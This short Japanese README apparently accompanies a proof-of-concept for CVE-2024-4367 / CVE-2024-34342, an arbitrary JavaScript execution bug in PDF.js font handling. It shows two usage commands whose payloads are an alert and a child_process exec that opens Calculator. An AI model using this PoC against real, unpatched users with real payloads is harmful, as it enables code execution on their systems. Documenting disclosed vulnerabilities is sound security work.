CVE-2024-4367 & CVE-2024-34342: PDF.jsにおける任意のJavaScript実行

PDF.jsでフォントを処理する際に型チェックが欠落しており、PDF.jsのコンテキストで任意のJavaScriptが実行される可能性があります。この脆弱性は、Firefox < 126、Firefox ESR < 115.11、Thunderbird < 115.11 に影響します。

pdf.js を使用して悪意のあるPDFを読み込み、PDF.js が isEvalSupported を true（デフォルト値）に設定して構成されている場合、攻撃者が制御する無制限のJavaScriptが、ホストしているドメインのコンテキストで実行されます。

python3 CVE-2024-4367.py "alert(document.domain)"

PoC_JS

python3 CVE-2024-4367.py "require('child_process').exec('open -a /Applications/Calculator.app');"

PoC_OS

これは私のバグではありません。PoCを作成しただけです。

参考